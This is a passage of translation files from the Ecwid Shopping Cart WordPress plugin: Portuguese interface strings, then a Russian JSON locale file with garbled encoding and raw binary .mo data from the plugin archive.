categories per row" msgstr "Número de categorias por linha" #: templates/appearance-settings.php:110 templates/store-popup.php:84 msgid "Number of products per page" msgstr "Número de categorias por página" #: templates/appearance-settings.php:112 templates/store-popup.php:86 msgid "Grid view" msgstr "Visão de grid" #: templates/appearance-settings.php:139 templates/store-popup.php:113 msgid "List view" msgstr "Visão de lista" #: templates/appearance-settings.php:156 templates/store-popup.php:130 msgid "Table view" msgstr "Visão de tabela" #: templates/appearance-settings.php:171 templates/store-popup.php:145 msgid "Here you can control how many products will be displayed per page. These options define maximum values. If there is not enough space to show all product columns, %s will adapt the number of columns to hold all products." msgstr "Aqui você pode controlar quantos produtos serão exibidos por página. Essas opções definem valores máximos. Se não houver espaço suficiente para mostrar todas as colunas do produto,%s adaptará o número de colunas para armazenar todos os produtos." #: templates/appearance-settings.php:178 templates/store-popup.php:193 msgid "Default view mode on product pages" msgstr "Modo de exibição padrão nas páginas do produto" #: templates/appearance-settings.php:183 templates/appearance-settings.php:201 #: templates/store-popup.php:197 templates/store-popup.php:215 msgid "Grid" msgstr "Grid" #: templates/appearance-settings.php:186 templates/appearance-settings.php:204 #: templates/store-popup.php:200 templates/store-popup.php:218 msgid "List" msgstr "Lista" #: templates/appearance-settings.php:189 templates/appearance-settings.php:207 #: templates/store-popup.php:203 templates/store-popup.php:221 msgid "Table" msgstr "Tabela" #: templates/appearance-settings.php:196 templates/store-popup.php:210 msgid "Default view mode on search results" msgstr "Modo de exibição padrão nos resultados de pesquisa" #: templates/connect.php:5 templates/dashboard.php:6 #: templates/reconnect-sso.php:5 templates/reconnect.php:5 msgid "%s Shopping Cart" msgstr "Carrinho de Compras %s" #: templates/connect.php:13 templates/reconnect.php:13 msgid "Connect your store<br /> to this WordPress site" msgstr "Conecte sua loja <br /> a este site do WordPress" #: templates/connect.php:17 msgid "Enter your Store ID" msgstr "Informe o ID de sua loja" #: templates/connect.php:20 templates/landing_old.php:27 #: templates/reconnect.php:23 msgid "Connect" msgstr "Conectar" #: templates/connect.php:21 msgid "Save and connect" msgstr "Salvar e conectar" #: templates/connect.php:27 templates/reconnect.php:46 msgid "To sell using %1$s, you must allow WordPress to access the %1$s plugin. The connect button will direct you to your %1$s account where you can provide permission." msgstr "Para vender usando %1$s, você deve permitir que o WordPress acesse o plugin %1$s. O botão Conectar irá direcioná-lo para sua conta %1$s onde você pode fornecer a permissão." #: templates/connect.php:32 msgid "Where to find your Store ID:" msgstr "Onde encontrar o ID de sua loja:" #: templates/connect.php:34 msgid "Store ID is a unique identifier of your %1$s account. You can find it in your %1$s control panel: open the <a %2$s>Dashboard page</a> and find the \"<b>Store ID: NNNNNNN</b>\" text, where <b>NNNNNNN</b> is your Store ID." msgstr "O ID da loja é um identificador exclusivo de sua conta %1$s. Você pode encontrá-lo no painel de controle de %1$s: abra a página <a %2$s> Dashboard </a> e localize o texto \"<b> ID da loja: NNNNNNN </ b>\", em que <b> NNNNNNN </ b> é o ID de sua loja." #: templates/connect.php:39 msgid "Don't have an %s account? Create one now." msgstr "Não possui uma conta em %s? Faça o cadastro agora." #: templates/dashboard.php:10 templates/store-popup.php:231 #: templates/store-svg.php:15 msgid "Store ID" msgstr "ID da loja" #: templates/dashboard.php:14 msgid "Disconnect store" msgstr "Desconectar loja" #: templates/dashboard.php:27 msgid "Congratulations!" msgstr "Parabéns!" #: templates/dashboard.php:30 msgid "Your %s store is now connected<br /> to your WordPress website" msgstr "Sua loja %s agora está conectada <br /> a seu site WordPress" #: templates/dashboard.php:35 msgid "Greetings!" msgstr "Saudações!" #: templates/dashboard.php:38 msgid "Your %s store is connected<br /> to your WordPress website" msgstr "Sua loja %s está conectada <br /> a seu site WordPress" #: templates/dashboard.php:47 msgid "Open control panel" msgstr "Abrir painel de controle" #: templates/debug.php:14 msgid "Download log file" msgstr "Download arquivo de log" #: templates/help.php:11 msgid "How can we help you?" msgstr "Como podemos ajudá-lo?" #: templates/help.php:15 msgid "https://support.ecwid.com/hc/en-us/search" msgstr "https://support.ecwid.com/hc/en-us/search" #: templates/help.php:17 msgid "E.g. How to set up shipping" msgstr "Por exemplo. Como configurar o envio" #: templates/help.php:21 msgid "Search the Knowledge Base" msgstr "Pesquisar na Base de Conhecimento" #: templates/help.php:29 msgid "https://support.ecwid.com/hc/en-us/sections/201706719-Ecwid-Basics" msgstr "https://support.ecwid.com/hc/en-us/sections/201706719-Ecwid-Basics" #: templates/help.php:31 msgid "Ecwid Basics" msgstr "Ecwid Basics" #: templates/help.php:35 msgid "https://support.ecwid.com/hc/en-us/sections/201758475-Manage-Your-Ecwid-Store" msgstr "https://support.ecwid.com/hc/en-us/sections/201758475-Manage-Your-Ecwid-Store" #: templates/help.php:37 msgid "Manage Your Ecwid Store" msgstr "Gerencie Sua Loja Ecwid" #: templates/help.php:41 msgid "https://support.ecwid.com/hc/en-us/sections/201758445-Customize-Your-Store" msgstr "https://support.ecwid.com/hc/en-us/sections/201758445-Customize-Your-Store" #: templates/help.php:43 msgid "Customize Your Store" msgstr "Personalize sua loja" #: templates/help.php:47 msgid "https://support.ecwid.com/hc/en-us/sections/201706799-Billing-Questions" msgstr "https://support.ecwid.com/hc/en-us/sections/201706799-Billing-Questions" #: templates/help.php:49 msgid "Billing Questions" msgstr "Questões sobre faturamento" #: templates/help.php:53 msgid "https://support.ecwid.com/hc/en-us/sections/201702859-Technical-Reference" msgstr "https://support.ecwid.com/hc/en-us/sections/201702859-Technical-Reference" #: templates/help.php:55 msgid "Technical Reference" msgstr "Referência técnica" #: templates/help.php:62 msgid "Frequently Asked Questions" msgstr "Perguntas Frequentes" #: templates/help.php:205 msgid "Contact us" msgstr "Entre em contato conosco" #: templates/help.php:206 msgid "Still have questions about Ecwid? Let us know!" msgstr "Ainda tem dúvidas sobre o Ecwid? Nos informe!" #: templates/help.php:211 msgid "https://www.ecwid.com/forums" msgstr "https://www.ecwid.com/forums" #: templates/help.php:211 msgid "Forums" msgstr "Fóruns" #: templates/help.php:212 msgid "Join the Ecwid community. Discuss support topics and store ideas with other Ecwid users." msgstr "Participe da comunidade Ecwid. Discuta tópicos de suporte e ideias para lojas com outros usuários Ecwid." #: templates/help.php:221 msgid "Send a message to our support team" msgstr "Envie uma mensagem para nossa equipe de suporte" #: templates/help.php:227 msgid "Subject" msgstr "Assunto" #: templates/help.php:228 msgid "Type in your message here" msgstr "Digite sua mensagem aqui" #: templates/help.php:231 msgid "Send Message" msgstr "Enviar mensagem" #: templates/help.php:242 msgid "Send message failed" msgstr "Falha ao enviar a mensagem" #: templates/help.php:248 msgid "Your email has been sent" msgstr "Seu e-mail foi enviado com sucesso" #: templates/help.php:249 msgid " Thank you very much for contacting us! We will get back to you shortly." msgstr " Muito obrigado por entrar em contato conosco! Entraremos em contato com você em breve." #: templates/help.php:250 msgid "You can send a new request here." msgstr "Você pode enviar um novo pedido aqui." #: templates/landing.php:8 msgid "Welcome to %s!" msgstr "Bem-vindo a %s!" #: templates/landing.php:9 msgid "Thank you for choosing %s to build your online store. The first step to sell successfully online is to setup your store! Let’s get started and add a store to your website in a few simple steps." msgstr "Obrigado por ter escolhido %s para construir sua loja online. O primeiro passo para vender online com sucesso é configurar a sua loja! Vamos começar e adicionar uma loja para o seu site em algumas etapas simples." #: templates/landing.php:15 templates/landing.php:132 msgid "Create Free %s Store" msgstr "Criar Loja %s Grátis" #: templates/landing.php:31 templates/landing.php:148 msgid "Store is created" msgstr "Loja está criada" #: templates/landing.php:35 templates/landing.php:152 msgid "Creating store" msgstr "Criando a loja" #: templates/landing.php:39 templates/landing.php:156 msgid "Preparing your store dashboard" msgstr "Preparando o painel de controle da loja" #: templates/landing.php:43 templates/landing_old.php:52 msgid "Free registration, No credit card required" msgstr "Cadastro gratuito, não é necessário cartão de crédito" #: templates/landing.php:46 msgid "Connection error: please click the button again and give permissions for this plugin<br /> to show your %s store on this site." msgstr "Erro de conexão: clique novamente no botão e dê permissões para este plugin <br /> para exibir sua loja %s neste site." #: templates/landing.php:49 templates/landing.php:160 msgid "Already have %s account?" msgstr "Já possui uma conta em %s?" #: templates/landing.php:50 templates/landing_old.php:62 msgid "Connect your store to Wordpress site" msgstr "Contectar sua loja ao site WordPress" #: templates/landing.php:53 msgid "You will be asked to log in to your %s Control Panel<br />and give permissions to show your store on this site" msgstr "Você será solicitado a efetuar login no seu Painel de Controle de %s <br /> e dar permissões para exibir sua loja neste site" #: templates/landing.php:56 templates/landing_old.php:75 msgid "Get ready to sell online" msgstr "Prepare-se para vender online" #: templates/landing.php:67 msgid "Sell Everywhere<br>with your %s store" msgstr "Venda em todos os lugares<br> com sua loja %s" #: templates/landing.php:68 templates/landing_old.php:87 msgid "Start selling on your WordPress site. Then mirror your shop on your Facebook page, blog and marketplaces like Google Shopping, Yahoo and Shopping.com." msgstr "Comece a vender no seu site WordPress. Em seguida, replique sua loja em sua página do Facebook, blog e mercados como Google Shopping, Yahoo e Shopping.com." #: templates/landing.php:69 msgid "Use %s's mobile-POS to swipe credit cards and sell on the go. Your orders and inventory are always synchronized with your online store." msgstr "Use a opção mobile-POS da %s para passar os cartões de crédito e vender em qualquer lugar. Suas encomendas e estoque estão sempre sincronizados com sua loja on-line." #: templates/landing.php:75 templates/landing_old.php:94 msgid "Features" msgstr "Recursos" #: templates/landing.php:82 templates/landing_old.php:101 msgid "Compatible with your theme" msgstr "Compatível com seu tema" #: templates/landing.php:83 msgid "%s is compatible with your<br>“%s†WordPress theme<br>out of the box." msgstr "%s é compatível com o seu tema \"%s\" WordPress e fora da caixa." #: templates/landing.php:91 templates/landing_old.php:110 msgid "Free and always up to date" msgstr "Grátis e sempre atualizado" #: templates/landing.php:92 templates/landing_old.php:111 msgid "Free plan always available with tons of features<br>at no additional cost. Updates are seamless, automatic<br>and free of charge." msgstr "Plano gratuito sempre disponível com toneladas de recursos<br> sem custo adicional. As atualizações são integradas, automáticas<br>e gratuitas." #: templates/landing.php:102 templates/landing_old.php:121 msgid "Responsive design" msgstr "Design responsivo" #: templates/landing.php:103 templates/landing_old.php:122 msgid "Your store looks perfect<br />on all devices" msgstr "Sua loja parece perfeita <br /> em todos os dispositivos" #: templates/landing.php:111 templates/landing_old.php:130 msgid "PCI DSS Certified" msgstr "Certificado PCI DSS" #: templates/landing.php:112 templates/landing_old.php:131 msgid "Secure checkout with over 40<br />payment options" msgstr "Checkout seguro com mais de 40 <br /> opções de pagamento" #: templates/landing.php:120 templates/landing_old.php:139 msgid "Global Reach" msgstr "Alcance Global" #: templates/landing.php:121 msgid "Over 1 million merchants in 175 countries" msgstr "Mais de 1 milhão de comerciantes em 175 países" #: templates/landing.php:128 templates/landing_old.php:147 msgid "Start selling <br>on your WordPress <nobr>site for free</nobr>" msgstr "Comece a vender <br>no seu site WordPress <nobr>gratuitamente</nobr>" #: templates/landing.php:161 templates/landing_old.php:158 msgid "Connect your store to this site" msgstr "Conecte sua loja a este site" #: templates/landing_old.php:8 templates/landing_old.php:12 msgid "Plugin is installed successfully!" msgstr "O plugin foi instalado com sucesso!" #: templates/landing_old.php:9 msgid "There are just a few steps left to start selling<br /> on your WordPress site" msgstr "Faltam apenas alguns passos para começar a vender <br /> no seu site WordPress" #: templates/landing_old.php:13 msgid "There are few little steps left to start selling<br /> on your WordPress site" msgstr "Você está próximo de começar a vender <br /> no seu site WordPress" #: templates/landing_old.php:19 msgid "Register" msgstr "Cadastre-se" #: templates/landing_old.php:20 msgid "Create a free Ecwid account to manage your store and inventory.<br /> No credit card required" msgstr "Cria uma conta grátis no Ecwid para gerencia sua loja e inventário.<br />Não é necessário cartão de crédito" #: templates/landing_old.php:29 msgid "Add your Ecwid store to your site <nobr>in two clicks</nobr>" msgstr "Adicione sua loja Ecwid a seu site <nobr>em dois cliques</nobr>" #: templates/landing_old.php:30 msgid "Connect your Ecwid store to this site <nobr>in two clicks</nobr>" msgstr "Conecte sua loja Ecwid a este site <nobr>em dois cliques</ nobr>" #: templates/landing_old.php:39 msgid "Start selling" msgstr "Comece a vender" #: templates/landing_old.php:40 msgid "Your storefront is ready" msgstr "Sua loja está pronta" #: templates/landing_old.php:46 msgid "Create Ecwid store" msgstr "Criar loja Ecwid" #: templates/landing_old.php:49 templates/landing_old.php:154 msgid "Connect your store" msgstr "Conectar sua loja" #: templates/landing_old.php:55 msgid "Connection error: please click the button again and give permissions for this plugin<br /> to show your Ecwid store on this site." msgstr "Erro de conexão: clique no botão novamente e dê permissões para este plugin <br /> mostrar sua loja Ecwid neste site." #: templates/landing_old.php:58 templates/landing_old.php:69 msgid "You will be asked to log in to your Ecwid Control Panel<br />and give permissions to show your store on this site" msgstr "Será solicitado o seu login no seu Painel de Controle Ecwid <br /> para liberar as permissões e para que sua loja seja exposta neste site" #: templates/landing_old.php:61 templates/landing_old.php:157 msgid "Already have Ecwid account?" msgstr "Já possui uma conta Ecwid?" #: templates/landing_old.php:65 templates/landing_old.php:161 msgid "Don't have an Ecwid account?" msgstr "Não possui uma conta Ecwid?" #: templates/landing_old.php:66 templates/landing_old.php:162 msgid "Register at Ecwid for free" msgstr "Cadastre-se grátis em Ecwid" #: templates/landing_old.php:72 msgid "No credit card required" msgstr "Não é necessário cartão de crédito" #: templates/landing_old.php:86 msgid "Sell Everywhere<br>with your Ecwid store" msgstr "Venda em todos os lugares<br>com sua loja Ecwid" #: templates/landing_old.php:88 msgid "Use Ecwid's mobile-POS to swipe credit cards and sell on the go. Your orders and inventory are always synchronized with your online store." msgstr "Use o Mobile-POS da Ecwid para aceitar cartões de crédito e vender em qualquer lugar. Suas encomendas e estoques estão sempre sincronizados com sua loja on-line." #: templates/landing_old.php:102 msgid "Ecwid is compatible with your<br>“%s†WordPress theme<br>out of the box." msgstr "Ecwid é compatível com o seu tema \"%s\" WordPress <br>." #: templates/landing_old.php:140 msgid "More than 800,000 merchants in 175 countries" msgstr "Mais de 800.000 comerciantes em 175 países" #: templates/landing_old.php:151 msgid "Get Started, Create Ecwid Account" msgstr "Comece, Crie sua Conta Ecwid" #: templates/product-popup.php:23 msgid "Name" msgstr "Nome" #: templates/product-popup.php:29 msgid "SKU" msgstr "SKU" #: templates/product-popup.php:47 templates/product-popup.php:53 #: templates/product-popup.php:56 msgid "Search" msgstr "Pesquisar" #: templates/product-popup.php:49 msgid "Title or SKU" msgstr "Título ou SKU" #: templates/product-popup.php:69 msgid "Current Page" msgstr "Página atual" #: templates/product-popup.php:80 msgid "Next page" msgstr "Próxima página" #: templates/product-popup.php:94 msgid "Nothing found for <span class=\"empty-page__term\">\"{{ data.term }}\"</span>" msgstr "Nada encontrado para<span class=\"empty-page__term\">\"{{ data.term }}\"</span>" #: templates/product-popup.php:96 msgid "Try another search." msgstr "Tentar outra pesquisa." #: templates/product-popup.php:97 msgid "Browse all products." msgstr "Procurar todos os produtos." #: templates/product-popup.php:122 templates/product-popup.php:127 msgid "Choose Product" msgstr "Selecionar produto" #: templates/product-popup.php:123 templates/product-popup.php:131 msgid "Customize widget" msgstr "Customizar widget" #: templates/product-popup.php:140 msgid "Choose product properties to display in widget" msgstr "Selecione as propriedades do produto para exibir no widget" #: templates/product-popup.php:150 msgid "Picture" msgstr "Imagem" #: templates/product-popup.php:155 msgid "Options" msgstr "Opções" #: templates/product-popup.php:165 msgid "Quantity" msgstr "Quantidade" #: templates/product-popup.php:176 msgid "«Add to bag» button" msgstr "Botão «Adicionar ao carrinho»" #: templates/product-popup.php:196 msgid "Add border" msgstr "Adicionar borda" #: templates/product-popup.php:201 msgid "Show price inside the \"Buy now\" button" msgstr "Mostrar preço dentro do botão \"Comprar agora\"" #: templates/product-popup.php:206 msgid "Center align on a page" msgstr "Alinhar ao centro em uma página" #: templates/product-popup.php:218 msgid "customize appearance" msgstr "Customizar aparência" #: templates/product-popup.php:219 msgid "select product" msgstr "selecionar produto" #: templates/product-popup.php:220 msgid "Insert" msgstr "Inserir" #: templates/reconnect-sso.php:11 msgid "Your store Control Panel. Right here in WordPress." msgstr "Painel de controle da sua loja. Aqui no WordPress." #: templates/reconnect-sso.php:12 msgid "Manage products, track sales, adjust settings - <nobr>All without</nobr> leaving this page." msgstr "Gerenciar produtos, controlar vendas, ajustar configurações - <nobr>Tudo sem </nobr> sair desta página." #: templates/reconnect-sso.php:14 msgid "Re-connect to Enable Control Panel" msgstr "Reconecte-se para habilitar o Painel de Controle" #: templates/reconnect.php:31 msgid "Connection error - after clicking button you need to login and accept permissions to use our plugin. Please, try again." msgstr "Erro de conexão - depois de clicar no botão você precisa fazer login e aceitar permissões para usar o nosso plugin. Por favor, tente novamente." #: templates/reconnect.php:39 msgid "Looks like your site does not support remote POST requests that are required for %s API to work. Please, contact your hosting provider to enable cURL." msgstr "Parece que seu site não oferece suporte a solicitações remotas POST que são necessárias para que a API do %s funcione. Entre em contato com o provedor de hospedagem para ativar cURL." #: templates/store-popup.php:12 templates/store-popup.php:25 msgid "Store elements" msgstr "Elementos da loja" #: templates/store-popup.php:46 msgid "Choose widgets to show" msgstr "Escolher widgets para exibir" #: templates/store-popup.php:47 msgid "Product catalog will be shown automatically" msgstr "O catálogo de produtos será exibido automaticamente" #: templates/store-popup.php:52 msgid "Show search" msgstr "Mostrar pesquisa" #: templates/store-popup.php:59 msgid "Show minicart" msgstr "Mostrar mini carrinho" #: templates/store-popup.php:66 msgid "Show categories" msgstr "Mostrar categorias" #: templates/store-popup.php:72 msgid "Additionally, you can add store controls to your website's toolbar using <a %s>WordPress native widgets</a>" msgstr "Além disso, você pode adicionar controles da loja à barra de ferramentas do seu site usando <a %s> widgets nativos do WordPress</a>" #: templates/store-popup.php:233 msgid "Demo store" msgstr "Loja demo" #: templates/store-popup.php:236 msgid "Open store dashboard" msgstr "Abrir dashboard da loja" #: templates/store-popup.php:240 msgid "Insert into page" msgstr "Inserir na página" #: templates/store-popup.php:243 msgid "Update" msgstr "Atualizar" #: templates/store-svg.php:10 msgid "Your store will be shown here!" msgstr "Sua loja será exibida aqui!" #: templates/store-svg.php:13 msgid "Demo Store" msgstr "Loja Demo" #: templates/sync.php:161 msgid "To enable this feature, the plugin needs a permission to read your store product information." msgstr "Para ativar esse recurso, o plugin precisa de uma permissão para ler as informações do produto da loja." #: templates/sync.php:162 msgid "Provide access." msgstr "Liberar acesso." #: templates/sync.php:167 templates/sync.php:168 msgid "Synchronize products" msgstr "Sincronizar produtos" #: templates/sync.php:175 msgid "We're synchronizing your products. This may take a few minutes. Please do not reload the page." msgstr "Estamos sincronizando seus produtos. Isso pode levar alguns minutos. Não recarregue a página." #: templates/sync.php:179 msgid "Products synchronized: %s out of %s" msgstr "Produtos sincronizados: %s de %s" #: templates/sync.php:186 msgid "Products are successfully synchronized. The product pages are up to date." msgstr "Os produtos foram sincronizados com êxito. As páginas do produto estão atualizadas." #: templates/sync.php:190 msgid "Last update" msgstr "Última atualização" #: templates/sync.php:193 msgid "Not synchronized yet" msgstr "Não sincronizado ainda" #. Plugin Name of the plugin/theme #: msgid "Ecwid Shopping Cart" msgstr "" #. #-#-#-#-# ecwid-shopping-cart.pot (Ecwid Shopping Cart 5.0.7) #-#-#-#-# #. Plugin URI of the plugin/theme #. #-#-#-#-# ecwid-shopping-cart.pot (Ecwid Shopping Cart 5.0.7) #-#-#-#-# #. Author URI of the plugin/theme #: msgid "http://www.ecwid.com?source=wporg" msgstr "http://www.ecwid.com?source=wporg" #. Description of the plugin/theme #: msgid "Ecwid is a free full-featured shopping cart. It can be easily integrated with any Wordpress blog and takes less than 5 minutes to set up." msgstr "O Ecwid é um carrinho de compras completo e gratuito. Pode ser facilmente integrado com qualquer blog WordPress e leva menos de 5 minutos para configurar." #. Author of the plugin/theme #: msgid "Ecwid Team" msgstr "Equipe Ecwid" PK������Ê—[Ë`����R��ecwid-shopping-cart/languages/ecwid-shopping-cart-ru_RU-ecwid-gutenberg-store.jsonnu�„[µü¤��������{locale_data:{messages:{ "": {}, "Add storefront (product listing)": ["Витрина магазина"], "Store Home Page": ["ДомашнÑÑ Ñтраница магазина"], "To improve the look and feel of your store and manage your storefront appearance here, please enable the “Next-gen look and feel of the product list on the storefront†option in your store dashboard (“<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Settings → What’s New</a>â€).": ["Чтобы обновить дизайн Ñвоего магазина и управлÑть наÑтройками вида в редакторе, включите опцию “Обновленный внешний вид каталога товаров на витрине†в панели ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð¼Ð°Ð³Ð°Ð·Ð¸Ð½Ð° (“<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">ÐаÑтройки → ОбновлениÑ</a>)"], "To improve the look and feel of your product page and manage your its appearance here, please enable the “Next-gen look and feel of the product page on the storefront†option in your store dashboard (“<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Settings → What’s New</a>â€).": ["Чтобы обновить дизайн Ñтраницы товара и управлÑть наÑтройками вида в редакторе, включите опцию “Обновленный внешний вид Ñтраницы товара†в панели ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð¼Ð°Ð³Ð°Ð·Ð¸Ð½Ð° (<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">ÐаÑтройки → ОбновлениÑ</a>)"], "Category List Appearance": ["Дизайн ÑпиÑка категорий"], "Product List Appearance": ["Дизайн ÑпиÑка товаров"], "Product Page Appearance": ["Дизайн Ñтраницы товара"], "Product sidebar content": ["Ð˜Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ð½Ð° Ñтранице"], "Store Front Page": ["Ð“Ð»Ð°Ð²Ð½Ð°Ñ Ñтраница магазина"], "Store Navigation": ["ÐÐ°Ð²Ð¸Ð³Ð°Ñ†Ð¸Ñ Ð¼Ð°Ð³Ð°Ð·Ð¸Ð½Ð°"], "Color settings": ["ÐаÑтройки цвета"], "Buy Now Button": ["Кнопка «Купить»"], "Display a buy button": ["Кнопка \"Купить\""], "Linked product": ["Товар"], "Change": ["Изменить"], "Choose product": ["Выбрать товар"], "Appearance": ["Внешний вид"], "Show price inside the «Buy now» button": ["Показывать цену в кнопке «Купить»"], "Center align on a page": ["ВыровнÑть карточку по центру Ñтраницы"], "Cart and Checkout": ["Страница корзины"], "Display shopping cart and checkout page": ["Страница корзины и Ð¾Ñ„Ð¾Ñ€Ð¼Ð»ÐµÐ½Ð¸Ñ Ð·Ð°ÐºÐ°Ð·Ð°"], "Store Categories Menu": ["Меню категорий"], "Display categories navigation bar": ["Строка меню категорий магазина"], "Categories": ["Категории"], "The block is hidden because you don\"t have categories in your store. <a target=\"_blank\" href=\"admin.php?page=ec-store-admin-category-id-0-mode-edit\">Add categories.</a>": ["Блок Ñкрыт, потому что в магазине нет категорий. <a target=\"_blank\" href=\"admin.php?page=ec-store-admin-category-id-0-mode-edit\">Добавить категории.</a>"], "Store Category Page": ["ÐšÐ°Ñ‚ÐµÐ³Ð¾Ñ€Ð¸Ñ Ð¼Ð°Ð³Ð°Ð·Ð¸Ð½Ð°"], "Display category page": ["Страница категории Ñ Ð»Ð¸Ñтингом товаров"], "Display cart icon": ["Показывать иконку корзины"], "Add categories": ["Добавить категории"], "Select category": ["Выбрать категорию"], "Selected category": ["Ð’Ñ‹Ð±Ñ€Ð°Ð½Ð½Ð°Ñ ÐºÐ°Ñ‚ÐµÐ³Ð¾Ñ€Ð¸Ñ"], "Search and Filters": ["ПоиÑк и фильтры"], "Product Search and filters": ["Страница поиÑка и фильтров"], "Display search page with filters on a side": ["Страница поиÑка Ñ Ð»Ð¸Ñтингом товаров и полоÑкой фильтров"], "Set up your store": ["ÐаÑтроить магазин"], "You can enable filters in the store settings: (“<a target=\"_blank\" href=\"admin.php?page=ec-store-admin-product-filters-mode-main\">Settings → Product Filters</a>â€).": ["Включить фильтры можно в наÑтройках магазина: <a target=\"_blank\" href=\"admin.php?page=ec-store-admin-product-filters-mode-main\">ÐаÑтройки -> Товарные фильтры</a>"], "Filters": ["Фильтры"], "Detect automatically": ["ОпределÑть автоматичеÑки"], "Set manually": ["Ð’Ñ‹Ñтавить вручную"], "Shopping Cart Icon": ["Иконка корзины"], "Display shopping bag link and summary": ["СÑылка на корзину и количеÑтво товаров в корзине"], "Product card small": ["Карточка товара"], "Display product with a buy button": ["Товар Ñ ÐºÐ½Ð¾Ð¿ÐºÐ¾Ð¹ \"Купить\""], "Displayed product": ["Выбранный товар"], "gutenberg-product-block\u0004Content": ["Элементы виджета"], "Picture": ["Изображение"], "Title": ["Ðазвание"], "Price": ["Цена"], "Options": ["Параметры"], "Quantity": ["КоличеÑтво"], "«Buy now» button": ["Кнопка «Купить»"], "Add border": ["Показывать рамку"], "Product Card Large": ["Страница товара"], "Display product page with description and a buy button": ["Страница товара Ñ Ð¾Ð¿Ð¸Ñанием и кнопкой \"Купить\""], "Product Search Box": ["Поле поиÑка товаров"], "Display search box": [""] }}}PK������Ê—[Õ‚z�z�:��ecwid-shopping-cart/languages/ecwid-shopping-cart-ru_RU.monu�„[µü¤��������Þ•����¤�����< ��3��\������(#��H���)#�����r#�����ƒ#�����‹#��(���œ#�����Å#�� ���Î#��I���Ü#��.���&$�� ���U$�����`$�� ���{$�����‡$�����¡$��ç��ª$�����’&�����«&�����È&�����æ&�����'��$���!'�����F'�� ���Z'�� ���f'�� ���p'�� ���{'�� ���œ'��<���¨'��k���å'��K���Q(��S���(��A���ñ(��R���3)��G���†)�����Î)�����×)�����é)�����*�� ���*�����)*��µ���=*�����ó*����� +�����!+�����2+�� ���D+�� ���Q+�����]+�����r+��4���…+�� ���º+�����Ç+��/��×+��5���-�����=-�����B-�����[-�����p-�����Š-�����ª-�����Â-�����É-�����à-�����ï-�����ö-�����.��.���.�����C.�����Z.�����i.�����„.�� ���“.�����´.�����Å.��@���Í.�����/�����!/��/���A/��w���q/��~���é/�����h0�� ���ê0�����õ0�� ���1��]���1�����s1�� ���‚1�����1�����§1�����¼1�� ���Í1�����×1��"���ë1��#���2��/���22�� ���b2�� ���m2�����x2�����2�����ž2�����²2��!���Ä2�����æ2�����þ2��!���3�����43��!���G3�����i3�����~3�����“3��q���¥3��s���4��H���‹4��O���Ô4��1���$5��s���V5��¡���Ê5��v���l6��)���ã6����� 7�����*7�����/7�����A7�����]7�� ���c7�� ���o7�����|7�����Œ7�����¥7�����¾7��=��×7��‰���9����Ÿ9��L���·:����;�����$<�����8<�����S<�����Y<�� ���i<�� ���w<�� ���„<��&���<�����¶<�����Ê<�����Ó<�� ���ê<�����õ<�����ü<�����=��*���™=�����Ä=�����ß=��!���ñ=�����>�� ���,>�� ���9>��(���D>�����m>�� ���r>�����|>��Û���>�����]?�����b?��/���x?��/���¨?�����Ø?��/���í?��(���@�����F@��9���`@��I���š@��2���ä@��:���A��!���RA�����tA�����“A�� ���±A�����¼A�� ���ÑA�����ÜA�����ãA��$���ôA��9���B��%���SB��X���yB�����ÒB�����ÚB�����éB�� ���ëB�� ���ùB�� ���C�� ���C�����C�����-C�� ���2C�����=C�� ���BC��–���LC�����ãC�����åC��'���úC�����"D�����:D��[���JD��,���¦D�� ���ÓD�����ÞD�����ãD�� ���E�� ��� E�����E�����-E��Ø���BE��I���F�����eF�����‚F�����žF�� ���¹F�� ���ÅF�����ÒF�����äF�����÷F����� G��c���G��l���xG�����åG��þ���ìG��å���ëH��)���ÑI�����ûI����� J��‰���J��‚���ŸJ��4���"K��!���WK�����yK�� ���‹K�� ���˜K�����¥K�����®K�� ���ÍK�����ÛK�� ���áK�����íK�����L�� ���L�����)L�����8L��+���PL�����|L�� ���L�����žL�����¯L�����ÇL�����æL�� ���ýL����� M��I���M��'���^M�����†M�����–M�� ���ŸM�����ªM�����¹M��"���ÒM�����õM�����þM��%���N�����=N�����UN�����^N�����yN�����™N�����«N�����±N�����³N�����ËN�����ÏN�����ÕN�� ���æN�����óN�����úN��1���O�����FO�� ���OO�����ZO��(���jO�� ���“O��"��� O�����ÃO�� ���×O�����äO�����öO�����ÿO�� ���P�����P�� ���P�����&P�����?P�����TP�����YP�����xP�� ���ˆP�� ���©P�� ���·P��&���ÅP��(���ìP�����Q�����.Q�� ���FQ�� ��RQ��*���]R�� ���ˆR�� ���“R��>���¡R��–���àR��.���wS�����¦S�����¬S�����½S�����ÎS��ß���×S�����·T�����ÈT�� ���ÙT�����äT�����ôT����� U�����U�����*U�����>U�����YU�����aU�����vU�� ���|U��/���‡U�����·U�����ËU�� ���ÐU��Ä���ÛU��M��� V�����îV��M���ÿV��M���MW��\���›W��“���øW�����ŒX�����’X�� ���¡X�� ���¬X�����¹X�����ËX��’���ÒX��®���eY����Z��E��[��‰���^]��Â���è]��]���«^��ñ��� _����û_��*��a��y���Cb��²���½b�� ���pc�����zc�����Žc�����¨c�����¯c��‡���Ëc��Š���Sd�����Þd�����òd��!���e��^���%e�����„e�����“e�����°e�� ��Áe��C��Ìf��B��h�����Si��¨���Tj�� ���ýj��0���k��«���Ok��T���ûk��n���Pl��q���¿l��:���1m��>���lm�����«m�� ���Äm��2���Ñm�����n��,��� n�����Mn�����ln�����…n�����šn�� ���ºn��"���Ûn��s���þn��/���ro��)���¢o��I���Ìo��B���p��G���Yp��J���¡p��M���ìp�����:q�����Uq��&���rq��(���™q�����Âq�����Ñq�����çq�����ûq��x��r��=���‡s�����Ås�� ���äs��"���ðs��B���t�����Vt��$���ht��X���t��S���æt�� 